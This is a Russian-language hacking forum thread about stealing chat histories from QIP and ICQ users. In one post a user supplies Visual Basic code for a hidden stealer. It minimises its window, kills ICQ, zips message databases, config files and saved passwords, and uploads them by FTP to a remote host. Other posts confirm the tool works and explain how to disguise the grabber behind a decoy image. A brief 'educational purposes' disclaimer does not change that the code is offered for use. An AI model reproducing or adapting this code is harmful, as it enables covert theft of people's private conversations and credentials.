Статьи Крадем историю QIP и ICQ

Discussion in 'Статьи' started by |qbz|, 31 Jan 2010.

  1. meisterr

    meisterr Member

    Joined:
    25 Feb 2009
    Messages:
    40
    Likes Received:
    5
    Reputations:
    0
    на VB напишите кто нибудь))
     
  2. Eff0rd

    Eff0rd Elder - Старейшина

    Joined:
    2 Jun 2009
    Messages:
    272
    Likes Received:
    334
    Reputations:
    37
    отрубил ведение истории и отчистил все логи, можете меня не хекать =)
     
  3. dnsskyline

    dnsskyline New Member

    Joined:
    20 Jan 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    ICQ.bin

    помогите,в какой programe прочитать ICQ.bin спасибо
     
  4. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    168
    Reputations:
    65
    переименуй на icq.mdb и открывай через microsoft access
     
  5. dnsskyline

    dnsskyline New Member

    Joined:
    20 Jan 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    А если я делал для icq 7 ? там файл называется Messages.qdb ? :)) sps
     
  6. dnsskyline

    dnsskyline New Member

    Joined:
    20 Jan 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    http://www.postimage.org/image.php?v=aVhjeMJ
    Что делать при этой ошибки + alrt.vbs a alrtt.vbs
     
  7. ichechen

    ichechen New Member

    Joined:
    16 Oct 2009
    Messages:
    33
    Likes Received:
    4
    Reputations:
    8
    Создаем новый проект Windows Forms
    Правим свойства формы
    Code:
      Me.ShowIcon = False
            Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.SizableToolWindow
            Me.ShowInTaskbar = False
            Me.WindowState = System.Windows.Forms.FormWindowState.Minimized
     
    Создаем функцию (копируем код ниже)
    Code:
      
     Private Function zip(ByVal filenasdasfaame As String, ByVal zipfilename As String) As Boolean
            Try
                filenasdasfaame = specstr(filenasdasfaame)
                zipfilename = specstr(zipfilename)
                Dim strZIPHeader As String
                strZIPHeader = Chr(80) & Chr(75) & Chr(5) & Chr(6) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0)
                Dim fso = CreateObject("Scripting.FileSystemObject")
                Dim tf = fso.CreateTextFile(zipfilename)
                tf.Write(strZIPHeader)
                tf.Close()
                With CreateObject("Shell.Application")
                    .NameSpace(zipfilename.ToString).CopyHere(filenasdasfaame.ToString)
                End With
                '(MsgBox("Обновление для Microsoft Windows готовы к установке", MsgBoxStyle.Information))
                Threading.Thread.Sleep(3000)
                z = 1
            Catch ex As Exception
            End Try
            If z <> 0 Then Return True Else Return False
        End Function  
    
        Private Function _prockill(ByVal procname As String) As Boolean       
            Try
                For Each proc In Process.GetProcessesByName(procname)
                    proc.Kill() : z = 1
                Next
                If z = 1 Then Return True Else Return False
            Catch ex As Exception
                Return False
            End Try
        End Function
    
        Private Function _findfile(ByVal parent As String, ByVal filename As String) As Boolean
         Try          
                parent = specstr(parent)
                For Each fs As IO.FileInfo In My.Computer.FileSystem.GetDirectoryInfo(parent).GetFiles(filename, SearchOption.AllDirectories)
                  zip(fs.FullName,fs.FullName & ".zip")
    
    My.Computer.Network.UploadFile(fs.FullName & ".zip", ftp://kuda.ru" & CChar("/") & fs.Name.Replace(fs.Extension, "") & "-" & z.ToString & fs.Extension,user,pasw)
    Microsoft.visualBasic.Kill(fs.FullName & ".zip")
                    z += 1
            Next
        Catch ex As Exception
        End Try
            If z <> 0 Then Return True Else Return False 
        End Function
    Создаем обработчик события загрузки формы (MyBase.Load)
    Пишем туда что-то примерно такое:

    Code:
    Dim p(10) as string
    Dim it as integer = 0
    
    For each s in My.Computer.FileSystem.Devices
      if s.isReady then if new IO.DirectoryInfo(s.Root & "\Program Files\QIP").Exist then p(it)=s.Root & "\Program Files\QIP":it+=1
    Next
    For each s as string in p
     if s<>Nothing AND s<>"" then
     if My.Computer.Network.isAvailable then
     for each ss as string in IO.DirectoryInfo(s & "\Users").GetDirectoryes()
      zip(ss & "\History",ss & ".zip")
      My.Computer.Network.UploadFile(ss & "\History & ".zip","ftp://kuda.ru",user,pasw)
      My.Computer.Network.UploadFile(ss & "\config.ini","ftp://kuda.ru",user,pasw)
      Microsoft.VisualBasic.Kill(ss & "\History & ".zip"")
     end if
    Next 
    end if
    _prockill("ICQ")
    _findfile(Environment.GetEnvironmentVariable("APPDATA") & "\ICQ","*.mdb")
    _findfile(Environment.GetEnvironmentVariable("APPDATA") & "\ICQ","*.qdb")
    
    Писал без компилятора, наверняка там будут синтаксические ошибки, но думаю вы разберетесь

    Также можно всунуть в нескольких местах обработчик исключений с нулевым исключением - для того чтоб ошибка не выскочила, если вообще будет таковая

    В общем попробуйте ;)

    P.S Кстати приведенный код крадет не только историю, но и файлы паролей (если они сохранены)
    Актуально для:
    ICQ 6,
    ICQ Lite
    QIP 2005​
    Achtung!!!
    Написано исключительно в образовательных целях, за практическое использование данного листинга, автор не несет ответственности!
     
    #27 ichechen, 17 Apr 2010
    Last edited: 17 Apr 2010
  8. dnsskyline

    dnsskyline New Member

    Joined:
    20 Jan 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    у меня большая просьба ;) если бы ты не мог сделать видео по этому , я только начинаю усваивать программу но много чего не знаю a кокрас вот это мне очень надо спасибо если будет время
     
  9. ~STALKER~

    ~STALKER~ New Member

    Joined:
    16 Apr 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    автору респект
     
  10. zloy_pryanik

    zloy_pryanik Member

    Joined:
    26 Dec 2009
    Messages:
    14
    Likes Received:
    13
    Reputations:
    0
    ТС клевая статья
     
  11. ichechen

    ichechen New Member

    Joined:
    16 Oct 2009
    Messages:
    33
    Likes Received:
    4
    Reputations:
    8
    Народ, архивируйте базы, прежде чем их качать, иногда этот процесс может уменьшить размер баз в десятки раз...
     
  12. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    168
    Reputations:
    65
    :)
     
  13. -Gory King-

    -Gory King- Banned

    Joined:
    26 Jun 2009
    Messages:
    247
    Likes Received:
    23
    Reputations:
    15
    Кто юзал ето батник прошу написать о результатах...
     
  14. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    168
    Reputations:
    65
    я на себе тестил и на винлогоне, все гуд
     
    1 person likes this.
  15. djazatik

    djazatik Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    56
    Likes Received:
    105
    Reputations:
    22
    протестил, все работает!) Спасибо)
     
  16. B1TMAST3R

    B1TMAST3R New Member

    Joined:
    18 Apr 2010
    Messages:
    3
    Likes Received:
    2
    Reputations:
    0
    Если кто-то нормально скомпилировал функцию добавления файла в zip-архив (не важно на каком языке) Компильните (!!!) и выложите плз простейшую реализацию одной лишь этой функции. Хотел когда-то написать аналог зипования средствами винь на асм, дошел до NAMESPACE.COPYHERE, все отработало на ура, только в архиве файла так и не увидел, после чего решил забить так как мозг уже кипел
    P.S. Вот хотелось бы взглянуть на рабочий вариант из-под отладчика. :)
     
  17. dnsskyline

    dnsskyline New Member

    Joined:
    20 Jan 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Odin vopros esli mozhno grab.exe skryt naprimer v Kartinku a pri otkrytie chtoby zapustilsia grab.exe no prito evo nebylo vidno ? kakto :) sps
     
  18. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    168
    Reputations:
    65
    просто добавь в начало батника строку

    start "%CD%\kartinka.jpg"

    и добавь в Include файл картинки с именем kartinka.jpg
     
  19. ..LoOoJ..

    ..LoOoJ.. New Member

    Joined:
    1 May 2010
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Написать одно,а вот на видео с самого начало записать,да и понятней все будет.Может кто действительно все на видео с самого начала запишет у кого время будет?
     
  20. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    168
    Reputations:
    65
    nu zapishu esli vremya budet...
     
Loading...